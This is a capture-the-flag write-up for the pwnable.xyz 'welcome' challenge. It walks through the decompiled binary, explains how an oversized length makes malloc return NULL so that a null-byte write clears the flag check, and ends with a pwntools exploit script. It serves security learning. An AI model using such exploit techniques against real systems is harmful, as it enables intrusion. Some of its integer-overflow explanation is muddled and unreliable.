Published on

pwnable.xyz - welcome

Authors
  • avatar
    Name
    mfkrypt
    Twitter

Overview

malloc failing by integer overflow causing NULL which satisfies a condition in getting the flag

Description

Analysis

We are given a binary with the following protections

❯ checksec challenge

[*] '/home/mfkrypt/pwn-learning-notes/pwnablexyz/welcome/challenge'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

We can observe all protections are enabled. Running the binary itself reveals a leak

Description

Let us now check the decompiled source

undefined8 main(void)

{
  long *malloc_ret;
  void *buffer;
  long in_FS_OFFSET;
  size_t length;
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  setup();

  puts("Welcome.");
  malloc_ret = (long *)malloc(262144);
  *malloc_ret = 1;  // Stores the integer 1 at the beginning of that allocated memory

  __printf_chk(1,"Leak: %p\n",malloc_ret);
  __printf_chk(1,"Length of your message: ");

  length = 0;
  __isoc99_scanf(&DAT_00100c50,&length);
  buffer = malloc(length);
  __printf_chk(1,"Enter your message: ");

  read(0,buffer,length);
  *(undefined *)((long)buffer + (length - 1)) = 0;

  write(1,buffer,length);
  if (*malloc_ret == 0) {
    system("cat /flag");
  }

  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }

  return 0;
}

We can see over here:

malloc_ret = (long *)malloc(262144);
*malloc_ret = 1;

malloc returns a pointer, malloc_ret and assigned an integer value of 1 . It will probably look like this in memory:

0x7fad99950010:  0x0000000000000001

In this line:

 __printf_chk(1,"Leak: %p\n",malloc_ret);

It leaks the heap address of the returned malloc pointer. Other than that,

__isoc99_scanf(&DAT_00100c50,&length);
buffer = malloc(length);

read(0,buffer,length);

Allocates the length we input which is a long integer type to allocate memory to a buffer and then reads up the buffer up to the length .

And the part below writes a null byte at the last byte of the input buffer

*(undefined *)((long)buffer + (length - 1)) = 0;
write(1,buffer,length);

if the returned malloc integer value is 0 , we get the flag

if (*malloc_ret == 0) {
    system("cat /flag");
  }

Plan

Looking at the man page of malloc

Description

On error, malloc returns NULL . Okay, soooo how does this affect what we are going to do? Well, since the program leaks an address, we can take advantage of that address and use it as a size to fail malloc when it allocates memory.

The leaked heap pointer isn’t used as a pointer in the logic — it’s used as a large number to trigger malloc failure.

Why does it error or fail? For example, the leaked pointer address is 0x7fb304b31010 the equivalent in decimal is 140406854717456 . That is 14TB of memory which is way too huge since the max value for unsigned int is 4,294,967,295 .

Description

On a 32-bit unsigned int, very large values like the leaked address, 0x7fb304b31010 will overflow and may result in a small or even negative signed int when passed to malloc, which causes it to fail and return NULL

After overflowing the pointer of malloc In this line:

*(undefined *)((long)buffer + (length - 1)) = 0;

the buffer turns to NULL after the error:

NULL + length - 1 = length - 1

That length - 1 ends up being exactly the leaked address malloc_ret . So to make up for this we need to input the leak_address + 1 to cancel the length - 1 . But we need to convert them into a str type because scanf here expects a string input of the unsigned long int .


Exploit

We can manipulate length such that malloc(length) returns NULL, and therefore buffer = NULL. Then:

*(buffer + length - 1) = 0;
// becomes:

*(NULL + leaked_address) = 0;
// which writes a zero byte to *malloc_ret

Here is the script:

from pwn import *

elf = context.binary = ELF('./challenge', checksec=False)
libc = elf.libc

gs = '''
c
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)


def exploit():
    io = start()

    io.recvuntil(b'Leak: ')
    leak = int(io.recvline(), 16)

    log.success(f"Leaked malloc address: {hex(leak)}")

    io.sendlineafter(b'Length of your message: ', str(leak + 1))
    io.sendlineafter(b'Enter your message: ', "cool")

    io.interactive()


if __name__ == "__main__":
    exploit()